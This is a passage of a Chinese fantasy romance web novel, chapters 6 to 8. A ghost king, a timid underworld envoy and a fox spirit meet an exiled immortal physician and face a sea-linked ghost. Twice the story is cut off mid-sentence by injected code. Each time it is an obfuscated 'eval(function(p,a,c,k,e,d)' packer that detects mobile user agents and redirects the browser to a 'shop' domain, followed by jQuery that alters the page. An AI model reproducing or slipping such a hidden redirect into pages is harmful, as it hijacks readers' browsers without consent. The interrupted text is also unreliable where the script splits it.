“姑娘你人真好……可恨我家那不孝子,发酒疯砍伤我,还不管不顾跑出去了,现在人影都不见……”
老爷爷呜咽哭着,沈照水很懂这份心酸。
贫苦人家的艰难不是竹筒倒豆子般的利落,而是一身的烂疮烂肉无力治愈,只能眼睁睁看它招来苍蝇。
“诶,老人家认识青玄君?”
“没见过,也是听别人说。他给我们穷人治病都不收钱,还包治百病,我这才来找他。”
“那……老人家知不知道他是天上掉下来的神仙?”
老爷爷摇头,“这我不知道。我们这些人把帮过我们的人都当神仙。姑娘,你也是好神仙!”
沈照水冷不丁突然被夸,头一下子低了。
但心里热热的。
回到小宅,沈照水把老爷爷安顿在了自己屋里。
裴幽行这几天就没见他出过房门。
不过她救助一个老人一晚,鬼王大人就这么不理不睬最好。
可别突然现身吓坏人家。
沈照水怀里抱了床被子,腋下夹一个枕头,关上房门就往花衣轻那边去。
她的房间被用了,找小狐狸挤一挤。
刚走到花衣轻屋子门口,还没敲,那门哗啦一下被扯开,一位眉心生着朱砂痣的雪面俏郎君满脸焦急往外冲。
一见门外是她,立刻大松一口气。
“照水!你怎么才回来!”
化作人形的花衣轻如见救星。
“裴幽行出事了!”
“他?他能出什么事?”
花衣轻一把将沈照水拉进来,带她直奔到屋内裴幽行处。
“喏——”
烛光下,裴幽行袖口上翻,露出一截青白手臂。
饱满紧实的线条如玉雕般流畅,沈照水慌忙错开眼,心里直喊抱歉。
裴幽行不置可否,优雅理好袖子。
“有什么大不了,不就长了几块尸斑。”
“这具身体早该烂的。”
死去的身体是要大加爱护的。
他这些天在人间已经足够小心翼翼。
但今日沈照水迟迟未归,裴幽行心绪有些混乱,等意识回笼时,已经站在院中夕阳下好久了。
“尸……尸斑……”
长尸斑……
沈照水脑子被冲击,人有点晕乎站不住。
不,不能倒下,不能让他看不起……
她不动声色调匀呼吸,脚后跟使力站稳。
“那个……”
沈照水搜肠刮肚,根本想不出如何“安慰”一具长了尸斑的活死尸。
这太超出她的能力了。
眼前几乎空白,她糊里糊涂找了句话:
“苍平镇里有个神仙开了家医馆,鬼王大人明日要不要去他那里看看尸斑怎么治?”
6. 青玄君
“你搞什么鬼?”
哈?
裴幽行甩出句没头没尾的话,沈照水像噎了颗又大又硬的石头。
她没有搞鬼啊!
“出去找鬼没找到,找着位神仙?”
“神仙都在天宫,哪里会在这小小的苍平镇?”
鬼王大人扭头盯着烛光,手指在桌上敲出“咯哆、咯哆”的声音。
这简直像是他在敲她的牙齿。
沈照水嘴里阴阴酸疼。
“孤没那个好心成全你的愚蠢,找不到魂魄就老实跟孤回去。”
回去?
又被关在那个到处是赤裸枯骨的地方?
她一激灵,摇头如拨浪鼓。
“我我我我就快找着了!”
“你不能让我试都不试……”
沈照水也不知道自己哪里来的勇气,但地主老财家抢姑娘也没有裴幽行那么不讲理的!
她跟着他接下来是死是活都不能保证。
她半点都不想再掉入那个摆着一具骷髅的池坑!
“如何试?推孤去试?”
裴幽行冷哼,她看见他那纤长的羽睫鸟翅般扑棱棱。
投下的阴影在雪肤上像一场薄薄的冥雾,笼罩他的眼睛。
沈照水心脏随着呼吸微缩。
上一秒还在生气,下一秒忽然震动。
裴幽行生的真的很美。
这么美的身体,是如何到了今日这般不近人情的呢?
她晃神,裴幽行的目光折过来,嘴角绷住的样子很是刁蛮。
“你打孤的主意也不知道学聪明点。”
“好言好语哄哄孤,说不定孤大发善心便去看看那个装神弄鬼的‘神仙’。”
哦?
……原来还能打你的主意?
沈照水先前最多就想把花衣轻拉过来,但既然鬼王大人都发话了……
她弯弯嘴角,摆出一个单纯无害的微笑。
“大人这般貌美,尸斑那种东西怎么能出现在大人身上呢?”
“我也是听镇子上的人说那青玄君医术高明,若他能帮到大人,为什么不试试呢?回祭坛的话,可就错过机会了。”
沈照水动之以情晓之以理,小嘴叭叭向裴幽行劝个不停。
但他侧耳听着,只略微理整了两下自己袖口。
沈照水蔫巴了。
她会错了意?
也是,裴幽行为什么要帮她呢?他巴不得她一事无成被阎君们踹掉,然后好把她做成骷髅枕头……
沈照水的声音越来越小,花衣轻也渐觉不对,握拳掩唇轻咳了一下,看着裴幽行道:“差不多得了,你给个话啊。”
裴幽行眼神里闪过一丝不耐烦,依旧没有答话,只是手指捏着黑纱袖缘。
“哦,啧——”花衣轻看懂了,紧接着比裴幽行还不耐烦,双手叉腰挡过照水,往前一站。
“你早点说嘛!怎么还跟个待字闺中湿了鞋袜的大小姐一样……”
沈照水听不懂他俩,睁着大眼睛眨巴眨巴看着花衣轻。
眼前人转身嘿笑,拇指往后头晃晃。
“他的肉身不能见阳光,否则尸斑会长得更快。这苍平镇日日晴空万里的,他出门得用人间的物件遮一下。法术变出来的不行,太阴。”
沈照水默默吸气,保持微笑。
还真是“大小姐”来的……
她掂量一下自己还剩多少钱,笑得苦涩。
“行,大人且等等,我出去一趟。”
“照水,我跟你一起!”
花衣轻刚要跟上,沈照水抬手严正拒绝。
“停!小狐狸,今儿是十六,你……确定不会在月亮底下打滚?”
“额这个……”
也许是因为宴漆从没有月亮,也许是因为身为灵狐,更也许二者兼有,反正花衣轻在月亮出来的时候很!难!缠!
沈照水就一条好腿,这几天还被大胖狐狸望月兴奋地蹬出了个梅花印……
“乖乖等我就算帮忙,好吗?”
她回头看了眼屋子里这两位,一个不能见太阳,一个不能见月亮。
唉,女人还得靠自己。
沈照水提起裙子往外走,一瘸一拐但走得迅速,路过自己的房间,直直出了宅子。
趁着还未夜深人静,她得赶紧回镇上看看还能不能买着把伞。
然而时辰到底迟了。从小宅到镇上一路清风雅静,半个人影都不见,沈照水心凉半截。
夜色浓厚,月如银盘。
海风呼啸而过,摇动路旁婆娑树影。
她偶尔心惊一下,捧着心口念了句“阿弥陀佛,可别吓我。”
然而越这样祈祷,身后却越没底,仿佛有只无形的野兽影没于夜晚,垂涎跟着她。
沈照水脚步愈来愈软,像踩着棉云,下一步就要倒下去——
“啊呀!”
两道声音同时响起。
沈照水本就胆小,此刻闭上眼睛,瑟瑟发抖。
见鬼了!
还说这苍平镇没鬼!这不就在这儿!
右手摸哆嗦摸向怀里藏着的阴差令牌……
“诶?买绒线的姑娘!”
?
沈照水睁开眼睛,眼神清澈:“布摊老板?你怎么在这儿……”
布摊老板挑着担子,揉了揉眼睛。
“我也纳闷呢!刚才分明都快到家门口了,突然开始刮妖风!我站都站不稳,到处转,结果转到这儿来了!”
墨色夜中,寂静荒凉。
两个活人相见,双双都是长舒口气。
腔子里的血液又热了。
“老板,你这布还没卖完?”
“没有没有,剩了好多呢。没事儿,明天接着卖。”
布摊老板扒拉两下担子,沈照水眼睛一聚,指着布匹:
“这匹黑布怎么卖?”
一缕云影绕过月亮。
沈照水抱着黑布回了宅子。
万幸遇见这老板,不然今晚还真不好办。
夜里风凉,她把双手往布匹底下藏,暖和暖和。
用胳膊肘抵门而入,沈照水忽然捉到个疑点。
妖风?
什么妖风能把个大活人到处乱吹?
想起回魂那天的阴婚,沈照水觉得这个招式甚是眼熟。
目光投去烛火昏黄的屋子,她心里一下复杂起来。
其实裴幽行不算太坏……
可……
“哎呀。”沈照水甩甩脑袋,把那些混乱的思想都甩出去。
神仙打架,凡人遭殃。
无论阎君还是鬼王,都是她得罪不起的大神。
还是自己要紧。
脚步走到自己房门口,她想起老爷爷应该正在睡觉,刻意放缓了脚步猫着走。
谁知下一刻,房门背后苍老的声音响起。
“沈姑娘?你回来了?”
“哦哦对、您还没睡?”
“刚听见你出去了,没什么事吧?”
"没有没有……夜深了您快睡吧,明早还得去医馆呢。”
沈照水听得出老人家担心自己,笑着宽慰了他几句,转身往裴幽行处跑。
可耽搁不得了。
她还想睡觉呢。
就着烛光,那平平无奇的布匹被沈照水三五两下裁成了件逶迤垂地的斗篷。
花衣轻胳膊垫着脑袋趴在桌上,看得啧啧称奇。
“照水好厉害!”
沈照水腼腆抿嘴,细针蹭了蹭鬓发。
“我是个瘸子,做不了重活。在家时常做些小零碎贴补家用。虽然不算上乘,但总归能卖出去几个钱。”
“你很开心吗?为什么边说边笑?”
“算开心吧。小狐狸,人能动手挣一份口粮是很了不起的事。”
花衣轻摇摇头,“我‘挣’口粮张嘴去咬就成,雀儿、兔儿咬什么吃什么。”
沈照水咯咯笑,针线绕了几下,利落收了针脚。
“这就是人和小动物的区别呀。”
“做人很辛苦,但还是有点快乐的。”
她抖了抖斗篷,双臂托着它,起身走向裴幽行。
“大人试试这个合不合身。”
“这料子厚实,把我所有的钱都花完了,肯定能遮阳。”
裴幽行静静看了一会儿斗篷,视线慢移在沈照水脸上。
“你来。”
“啊?!哦……”
沈照水个头不高,裴幽行又实在过高,肩也宽,她两手扯着系带很吃力,还要掂脚仰头,保证斗篷真的被系好了,而不是垂肩垮下去……
加上这人身体凉成冰块,她一边憋着气一边控制着自己和他的距离。
虽然她走过一遭地府,也领了和鬼打交道的差事,但这“活死尸”……她还是有点隔应。
能不碰就不碰。
身上心上各项艰难压在一起,沈照水手上起了“争端”,指尖不听使唤似的老抖,系结差点系成死结。
手上越乱,身体也越晃。
该死……
一只冰冷宽大的手掌终于看不过去,抚上沈照水后腰,稍稍施力把人往前扣。
!!
沈照水心脏停了一两秒,视野里裴幽行的脸逐渐靠近……
没有鼻息,他僵硬地停留在她面前。
一股凉寒。
“别急,慢慢来。”
沈照水这才意识到,裴幽行朝她弯了腰。
心口恢复起伏,她咬了咬舌尖让自己不要大惊小怪,强行系好了斗篷,又把兜帽给他戴上,确保能保护好他。
正摆弄着帽沿,沈照水听见裴幽行没来由问了一句。
“你想不做瘸子吗?”
“什么?”
他几乎是嗫嚅,声音太小,沈照水以为自己没听清。
“没什么。”
裴幽行转开了自己的眼。
——
翌日一早,沈照水敲响了自己那间屋门。
老爷爷拄着破树枝推门出来,“这二位是……”
他目色迟疑,掠过花衣轻还好,那样子不过是个十七八岁的富贵小公子,可看见一身严裹的裴幽行……
老爷爷往沈照水身后缩了缩。
“不用怕。”
沈照水勉力笑笑,很能共情老人家的恐惧。
“这位是……是……”
一个年轻的独身女人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991923|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,要怎么解释身边有个奇形怪状的男人?
这是个问题……
沈照水咽了喉咙,脑子飞速运转,结巴了半天才排除了一众危险、暧昧、尴尬、不合理的身份,找到个能用的。
“我兄长。”
“他从小身体不好,这次来苍平镇就是专门来找青玄君的……”
裴幽行百无聊赖听着沈照水跟个陌生人瞎扯,兜帽下的嘴角抽了一下。
一行人去往陈氏医馆的路上,沈照水本想搀着老人家,但裴幽行推了花衣轻过去扶着,强行把沈照水扣在自己身边。
“呵,挺有本事。”
正走着,那件长长斗篷底下突然传来裴幽行冷淡的声音。
沈照水脊骨蹿上来一股寒意。
还是逃不掉……
“我,我不是故意给您添麻烦的,真的是昨天傍晚偶然遇见老人家……他受伤太重,我怕不救他——”
“孤是说刚才。”
裴幽行步伐一顿,那双深邃眼眸微侧过黑色帽沿,向沈照水望来。
“孤的母神,只有孤一个孩子。”
“你,”他眼波一动,漾浮出沈照水难以理解的情绪。
仿佛是……悲伤。
“她的恩赐、罪孽,统统承不住。”
“所以,少说这种挑衅天道的蠢话。”
!!事关天道吗……
沈照水突感一种前所未有的压力,抬眼望向汪蓝的天空,一下子头晕目眩,仿佛天空会垮塌下来压死她。
额上冷汗涔涔。
“知、知道了。”
一路来至陈氏医馆,门开着,里头坐着个淡青色衣衫的男子正奋笔疾书写药方。
药柜旁有两个十岁左右的药童,领了药方就在柜前抓药。
人不高,一用力拉柜子,身后辫子上的银色铃铛就甩得叮当响。
两个都是女孩。
裴幽行朝花衣轻使了个眼色,后者心领神会,一副热心肠的模样拉着老爷爷便先去了医馆问诊。
“他们俩……”
裴幽行手指敲了敲沈照水发顶,是警告也是提点。
“人间不太平。百怪千妖,魑魅魍魉,都会化作凡人的样子作恶。夸口当了阴差,怎么也该聪明点,别什么都闷头往前冲。”
“孤可不想再去地府那群老头手里抢你一次,累得慌。”
沈照水摸摸发凉的发顶,仰脸对他浅笑。
“多谢大人操心。”
她才不傻,这种时候能听裴幽行的就听。
这边话音刚落,一道争鸣剑气突然自医馆杀出,气势利落狠绝,貫日虹光刹那间照得槐树失去颜色。
“狐妖!哪里跑!”
男人怒喝之声传来,沈照水望过去,一只大狐狸白毛悚栗,吱哇乱叫扑向照水怀里。
“救命啊——”
沈照水一把接过花衣轻,可它体量委实冲击到了她,一人一狐双双摔在地上。
“看剑!”
来人并不多言,提剑冲向他俩。然而下一刻——
那柄虹光耀眼的银色长剑叮响一声,“啪”!
剑尖断开,一分为二。
提剑之人瞠目,愣在原地,剑身都未曾收回。
一只筋骨分明的玉手,食指和中指拈住断掉的剑尖。
雪银剑刃,在那指上仿佛只是一片稚嫩的玉兰花瓣。
“你!”
狐妖现身,爱剑被毁,一身素袍青衣的男子正要继续动手,鼻尖忽嗅到一股浓厚的死亡之气,柔静疏离的眉目中升起骇然,忐忑问道:
“阁下是谁?”
沈照水眼见着不打了,赶忙扶着腰从地上爬起来,抱着花衣轻闪到裴幽行身后小声切问:“他是什么?妖怪?鬼魂?”
双指夹住剑尖,裴幽行拇指一碾,指尖簌簌飞灰飘下。
“神仙。”
啊?
沈照水和花衣轻双双吃惊。
真是神仙?!那还能打起来?
裴幽行拍拍手上剑灰,双眸自帽沿之下抬起,看青衣男子的神情如见猫狗,恹恹的,无精打采。
“小后生,你是哪个宫的?”
这黑篷之下的男人一招便制住自己,又是这般冷峻态度,以及身上那股死亡肃杀之气……
青衣男子收剑紧贴小臂,朝裴幽行一拜。
“在下太虚十七重天凌碧宫祈蓝殿右护法,俗名飞升时已然忘却,天人唤我‘青玄君’。”
“小生自无情道飞升成神不过六百年,神格尚轻,见识浅薄,冲撞鬼王大人,还请见谅。”
沈照水张口愣目。
这是神仙!活的神仙!
洁净似白梅,轻盈如鹤羽。冷,淡,轻,但却在他身上糅合出一股温柔之风。
仙人啊……她现在拜拜还来得及吗??
“好看吗?”
“嗯。”
“那孤把他脑袋削下来挂你腰上,你每天看个够?”
“!!!”
沈照水失手猛抓了下花衣轻的狐狸肚子,拼命摇头:“不看了不看了……”
她眼观鼻鼻观心,躲避裴幽行落在身上的怨毒目光。
说什么也不看了。
7. 吻
脏兮兮的麻布裤脚一圈圈卷上去,黄褐皮肤上刀口深惨,血液已凝固,红紫斑驳,凝着湿亮腻光,似蚯蚓。
青玄君捏着帕子小心翼翼为老人擦拭腿上的血污,侧首吩咐:“阿奇、小双,来把方子拿走,赶快将药膏配出。”
先前在药柜前的两个小姑娘踩着木鞋噔噔噔跑来,拿起桌上药方又跑走,小小年纪但动作行云流水。
沈照水抱着花衣轻靠在廊柱下,看着她们俩这样健全又自小跟在仙人身边,心里说不出来的艳羡。
“阿奇和小双都是苍平镇的孤女,父母双亡又无亲眷,我便收留了她们,平日里传授她们医术。等她们长大了,这医馆便可交由她们掌管,可救人,也可救己。”
青玄君安抚好老人后,带着沈照水一行人去了一间无人静室。
“不知鬼王大人大驾光临,是为何事?”
裴幽行撩起袍子稳坐靠椅,下巴仰点沈照水。
沈照水赶紧开口:“不瞒青玄君,我是地府新任的阴差。苍平镇近五十年来常常丢失亡魂。”
“地府不见他们归来,也找不到他们的去处。青玄君既是仙人,这些年来可曾发现异常?”
“怪哉……”
青玄君好看的眉头拧在一起,朝照水摇头。
“自我来苍平镇,恰好五十三年。这里不过寻常海边小镇,并无任何鬼魅踪迹,也无作乱大妖,如何亡魂会消失?”
他眼里满是疑惑,看得沈照水想要继续问点什么也没了头绪,指尖无措揉捏花衣轻的毛毛。
“你怎么来到此处?不做仙了?”
仿佛更漏一声滴响,裴幽行冷冷出声,引得照水重新看向青玄君。
对诶……
一位已经飞升的仙人,为什么在凡间正大光明的做起医者?
青玄君淡哂,视线轻轻抬起望向窗外蔚蓝天空。
“回大人,五十三年前凌碧宫遭遇贼子作乱。我为护宫内法宝与乱贼缠斗,输他一招落下凡间。”
“是苍平镇的百姓救了我,也因此知晓了我的身份。为报答救命之恩,我立誓在此地行医百年。百年之后再回天宫复命。”
原来如此。
沈照水默了会儿,胳膊肘指向裴幽行,“青玄君,你会治尸斑吗?”
找魂的指望这下是断了,得赶紧找个栓住裴幽行的由头。
青玄君淡眉微挑,一下子懂了为何鬼王大人装束如此古怪。
“尸体起了尸斑那定是无力回天,但……”
他颔首走到裴幽行面前,“鬼王大人能让在下看一看吗?”
裴幽行不情不愿转开目光,薄唇紧抿,盯着某一处久久不动。
室内一片孤寂。
花衣轻狐嘴叹了一口气,从沈照水怀中轻巧跳下,点地化成人形,拉着她手腕往外走。
“走啦走啦,你在这里他害羞……”
“嘁,别看他冷冰冰一张脸,其实比小爷还爱美……”
沈照水眼睛瞪亮,花衣轻在前头哇啦吐槽裴幽行,她悄悄回头。
这人……还会害羞?
身后房间静悄悄,她约莫等了半柱香时间,室门打开,青玄君朝照水一点头。
“那些印记我已施法治愈,不是什么大事。”
“只是大人身体毕竟特殊,接下来的日子姑娘要好生照看,千万不能让大人再受阳光直照。”
“那就是说……鬼王大人怕阳光?”
沈照水嘴角控制不住上翘。
她怎么没想到这点!
裴幽行本事再大,大得过太阳?
“不。”
青玄君摇头,“阳光不会压制大人一星半点,只是会让他生出那些难看的斑纹。”
“影响鬼王大人心情,恐怕届时……”
他及时收声,手掌在颈上做了个抹脖动作。
沈照水一颗心跌落绝望深渊。
烦死了,真难伺候!
“青玄君,血珠用完了。”阿奇忽捧着一个空匣子从廊下跑来,举过头顶给青玄君看。
“……我知道了。你们先把药膏配好,血珠等我采回来再放。”
阿奇点点头,捧着匣子又走了。
沈照水好奇,“血珠是什么?需要仙人亲自采?”
“苍平镇这一段沿海特产一种珍珠蚌。其肉甘甜可食,其珠呈淡血色,用来入药有奇效。”
“不过它们专门生长在陡峭海石之下,寻常人几乎不能采到,所以我都是随用随采。”
青玄君惦记药材快步往外走,行至院内忽然停住脚步,转身腼腆道:
“医馆清贫,收容病人又太多,已无空闲屋子。大人和姑娘若不嫌弃,静室内有张小床,还算可以居住。”
“谢谢谢谢……”沈照水忙不迭点头,生怕谢晚了让一个好人尴尬。
青玄君抿起嘴角露出一个淡淡的笑。
那笑里有对照水体贴的感谢。
目送那青色人影远走,沈照水戳了戳一旁的花衣轻。
“小狐狸,可以陪我去找找亡魂吗?”
“还找啊?”
沈照水重重点头。
“万一……地府那群老头骗你,根本没有魂魄消失?”
花衣轻和她咬耳朵:
“我认真的,看在咱俩那么投缘的份上和你说点掏心窝子话!假如那些老头给你一个假任务,目的就是让你失败,等你无路可走,他们再顺势把你推给裴幽行,那不正好平了你的心气又卖裴幽行一个人情?”
“那些老家伙可个个都有八百个心眼,何必让自己处于险境?”
花衣轻很聪明,不是没有这种可能。
毕竟一开始给她这个阴差当就是为了缓和她与裴幽行的矛盾,至于结果,阎君们肯定是站在裴幽行那边的。
——如果没有鬼印那档子事的话。
沈照水双手重重拍在花衣轻肩膀上,“我也是认真的。亡魂一定要找到。”
她眼神转向前堂中忙碌的阿奇与小双,她们低头配药,手上动作熟练又稳重。
再坚持一下吧,至少查出点什么,找到亡魂,也找一找自己的生门和出路。
一人一狐出了医馆,满大街乌泱泱的人,走街串巷做生意的,买菜吆喝逛街的,什么人都有,就是没有阴气缠身的。
花衣轻狐狸鼻子一耸一耸,在人海人烟中嗅闻鬼魂的气味。
嗅着嗅着,风渐渐凉了,他湿漉漉的小黑鼻子打了个喷嚏,口水在金色夕阳中下了场蒙蒙细雨。
“啊!闻到了!”
“在哪里?在哪里?!”
沈照水照着花衣轻的指示一路小跑,结果停在一个小摊子面前,满脸失落。
蓬松的白狐尾巴谄媚地卷在她手腕上,绒绒的,勾得人心痒。
花衣轻趴在沈照水胸口,小小声恳求:“都找了一天了,肚子好饿,咱们买块糖吃吃吧~”
这是个糖摊子。
两口小锅在摊上熬煮出香浓的甜味,糖浆在炭火的煨烤下咕嘟咕嘟冒着泡。
沈照水也爱吃甜的。
“可是我没钱了……”
“谁说的?你摸摸口袋。”
沈照水皱眉,怀疑地摸向钱袋。
她的钱在卖黑布的时候就用光了,一分不剩,怎么可能还有……
“啊!真的有!”
一颗饱满的银锭正装在她打着补丁的小布钱袋里。
沈照水惊讶得合不拢嘴,当街大笑起来。
她一辈子都没有得到过这么多钱!!!
“这是哪里来的?”她兴奋地摇晃花衣轻,花衣轻眯起眼睛咧开嘴。
“某人昨晚给的斗篷钱呗。”
“你睡着后给的,还说看你什么时候能发现……”
银锭子握在手里沉而凉,夕阳照耀下,它发着浅浅的亮光,迷了沈照水的眼睛。
她的心黏黏软烫,像掉进咕嘟糖锅里。
——
回到陈氏医馆,听小双说青玄君还没有回来。
沈照水从袋子里分了些糖块给她俩,两个小姑娘终于露出了些孩童的活泼和快乐。
再路过老爷爷的病房,沈照水往里头看了一眼,他正侧睡着,腿伤还露在外头,应该是怕闷压着的缘故。
她悄悄走过去,抓一把雪花片糖放在他枕边。
这糖遇水即化,喝药之后用来压苦是最好的。
医馆内偶尔有一两声病人的呻吟,衬得此夜清幽更甚。
花衣轻走得快,在前头嚼着根拇指粗的芝麻糖,刚一推门,屋内一道寒冰似的眼刀甩了过来,吓得他浑身一哆嗦。
芝麻糖掉到地上,撒了满地芝麻渣。
“那个……照水我今晚找个草丛窝着就成,回见!”
沈照水还没反应过来,眼前一道身影飞闪,一只白狐朝院子里草丛深处躲去。
“怎么跑去外头睡……”
她嘟嘟囔囔进屋,眼前一片漆黑,靠脚尖小心往前探索才摸到桌边,放下手里大包小包的糖袋子。
忽然,一簇幽火自黑暗中飞起。
一张苍白无色,精致非人的脸庞在火光中露出,如同褪去夜的暗纱的鬼魅神像。
正恨恨盯着她。
“啊!!!”
沈照水尖叫,身体朝后倒下,但一股力量将她托起,稳稳送到幽火照耀之处。
“孤病了,你却到处乱跑?”
裴幽行眉头下压,眉心处有条浅浅的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991924|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
折痕。
沈照水双手捂着疯狂乱跳的心脏,裴幽行那张阴阴发怒的脸仅在咫尺。
“我错了——”
来不及多想,她瘪嘴大哭,眼泪珠子往外头直蹦。
如果道歉不够,她磕头都行。
只要别鬼里鬼气的吓她,她这颗绿豆大点的小心脏可承不住……
冰凉的手指头划过她脸颊,沈照水全身抖了一下。
裴幽行轻啧一声,“没出息。”
“孤一个人等你一整天都没哭,你哭什么。”
裴幽行扫了她一眼,转身忿忿走向床榻。
沈照水依稀听见他丢下一句:
“没良心。”
沈照水哭得停不下来,懵得不能再懵。
他他他就这么吓她一跳,然后睡觉??
谁没良心?她吗?为什么呀??
她摸着凳子坐下来,趴在桌上,整张脸埋于手臂,渐渐不哭了。
这个裴幽行,刚觉得他有那么一点点好,马上就能把她的印象全打破。
沈照水看他一眼,人家已经躺下去了,床榻今夜与她无缘。
都是鬼王了难道还要睡觉?
就是在针对她,明明人类才需要床!
沈照水很不服气,心里对着阴晴不定的裴幽行骂了又骂,气呼呼横擦眼泪,慢慢眼皮沾了胶水似的粘合在了一起。
说来也怪,染了眼泪的睡眠向来是越来越沉,但沈照水却觉得自己越睡越轻。
轻得像蝴蝶,越飞越高,高到清楚看到自己趴在桌子上的身体……
诶!不对!
她怎么魂魄离体了?!
怎么还飞向床榻???
半空中扑腾着手臂,沈照水小鸭子浮水似的想把自己控制住,但越靠近床榻她便越觉得脚腕上有道力气,把她直直往榻上拉,势不可挡。
她飞过去的速度越来越快。
“大人!鬼王大人!救救我——”
沈照水慌张大喊,两人相隔已只有半尺,但万幸他肩头转了过来,接着是脖子,侧脸,鼻梁……
唇。
接住沈照水的不是裴幽行的神力或者双手,是他的唇。
冰凉,柔软,带着点足以吓死沈照水的馨香。
还有丝丝甜味。
沈照水回味过来,耳朵蹭一下发烫,心墙轰然倒塌。
要死要死——
她吃了糖,这甜味是她的!
……鬼王大人尝出来了吗?
裴幽行纤长的羽睫如蝶扇动,眼底流淌着璀璨星河。
他注视着突然飞来吻住自己的沈照水,心口有什么东西正在鼓动,又像是即将破土而出。
这没良心的……
所有人都领过了她的情,他排最后吗?
那他不要。
他才不稀罕。
可是此刻,心跳,这种陌生又熟悉的震感重新降临他这具冷寂尸体。
千年前早已死亡的心脏在这个意外之吻下倏然复活,带给他此夜紊乱却澎湃至欲聋的心跳。
本还在和她置气,然而心跳如鱼戏莲叶下……
裴幽行万想不到,生的第一迹象于他竟是慌张。
沈照水脑子空白,整具魂魄像是被他的身体死死吸住,动弹不得,废了半天死劲才侧过嘴。
余光瞥见鬼王大人那双清冷漆黑的眸子水光氤氲,有点泛红……
不是吧!裴幽行在哭??
这难道是他第一次被亲?那她也是第一次啊!
男人哭了怎么办?要她负责吗?
沈照水只用了一瞬便认定她负不起这尊神的责,脸色绯红,埋头躲在裴幽行胸口,窝窝囊囊撇清关系:
“大人,我我我罪该万死……可我控制不了我自己……您别怪我……”
良久,裴幽行水色目光偏转,晃过沈照水发顶,落在她脚踝上。
定魂铃发着淡紫色的光芒。
怪不得会控制不住朝他飞过来……
裴幽行尾音飘颤,“真是个如假包换的笨蛋。”
他压了压嗓子,嫌弃似的按捏鼻梁,将面上情绪全笼在掌中。
“秦广王怎么和你交接的?身为阴差,夜里缉鬼时离魂出体便是这样,你不知道?”
沈照水老实摇头。
她从前不过一个普通少女,今日哪里反应得过来?
“怎么前段时间都没反应,现在却离魂了?”
他道:“附近游荡魂魄出现时,阴差便会受应离魂。”
游荡的魂魄……
“咚、咚、咚——”
突然,房门呼吸般起伏,沈照水惊恐转头看去。
外头有东西正缓慢朝里撞门。
8. 最傻的姑娘
“那是……”
沈照水牙颤如戏台幕后的碟锣,一阵一阵密密的寒意自脊背升起。
鬼来了!
目光被震动的门栓紧紧拉住,她生怕下一瞬那可怜的小门就支撑不住,冲进来一只青面獠牙的恶鬼。
然而身旁这男人轻笑一声,斜瞄着她混不吝道:“阴差大人还愣着做什么,快去履职啊。”
啊?现在……
沈照水慌张望向他,那双漆黑星眸里满是浓浓笑意。
裴幽行这是等着看她笑话。
她当阴差实属自不量力,但沈照水后槽牙一咬,从裴幽行身上爬起来,一瘸一拐抖着腿走到自己肉身处,蹲下去在怀中摸索阴差令牌。
房门砰砰的异动离她不过五步远,每响一下都像是一柄重锤砸在沈照水心口上。
她怕极了,但更怕失去阴差身份,唯一和裴幽行拉扯的挡箭牌也没了。
“阴官亲临,诸鬼必随……”她口中碎碎念叨给子增加信心,握着令牌一步一步靠近耸动的房门。
外头有风呼啸,凄厉悲鸣,仿佛一只鬼鸟啼哭桀桀。树影极速摇动,在纱窗上的影子如晃动的弯曲鬼爪。
还差一步便可打开房门,直面鬼怪。
沈照水偏头看向床榻上的裴幽行,却见他单手撑头,一副好整以暇的模样与她对望。
只这一眼,沈照水原本狂跳如雷的心脏忽然平静。
不就是只鬼?她可是专门收鬼的阴差!哪有猫儿怕耗子的?
已经走到了这步,不能让裴幽行看不起。
指尖按住门栓往旁一推,房门呼啦一声被阴风吹开。
眼前一团黑色狂风卷积着瓦砾碎石,冰凉坚硬的小石子砸在沈照水脸上,她立刻闭了眼睛,捏着令牌正对风团,大声念道:
“阴官亲临……”
阴差令牌既得命令,闪烁出幽绿的光芒照耀那团鬼风。然而还没等下半句念出口,鬼风上下一震,眨眼间风平浪静,消失不见。
!!!
沈照水睁开眼睛,当场愣住。医馆小院一切如常,月明高悬,花树葳蕤。
唯有她衣袖间不断有小碎石子簌簌掉落,证明曾有东西确实来过。
“照水!你怎么样?”
花衣轻匆忙赶来,一脸焦急:“这苍平镇还真有问题!刚才那是只女鬼,我看得真真的!”
“而且这鬼好大的威力,使起风力来能把我都给挡住!我还闻到一股特别的气味,很涩很苦,差点呛死我了……”
他黑白分明的眼珠不住乱转,今夜突发情况明显将他也吓住了。
沈照水捏着令牌久久不说话,花衣轻脑袋微偏,关切唤她:“照水?”
“……你看。”
她指向门槛,冷冷月光下,那里一滩不规则水渍像摔碎的镜子,满地刺眼的银屑。
“有水。是刚才那鬼留下的。”
人死之后鬼魂会保留死时状态。
沈照水盯着水渍入了神,“水,水边……”
花衣轻狐狸鼻子凑过去嗅嗅,惊叫道:“咸腥味!是海水!”
那女鬼与海有关。
“沈姐姐!沈姐姐!”
忽然,寂静夜里传来女孩子的声音。两道焦急的声音叠在一起,由远及近跑到沈照水面前。
是阿奇和小双。
两个姑娘散了头发,披着外衣,一见便知刚从床上起来。阿奇手里还捏着一只纸鹤。
她们来找沈照水,但恰好沈照水此刻只是魂魄,花衣轻是只蓬松的白狐,两个小丫头不见人,径直跑进房中,和裴幽行正正撞上。
“啊!”
小双吓了一跳,缩着脖子往阿奇身后躲。
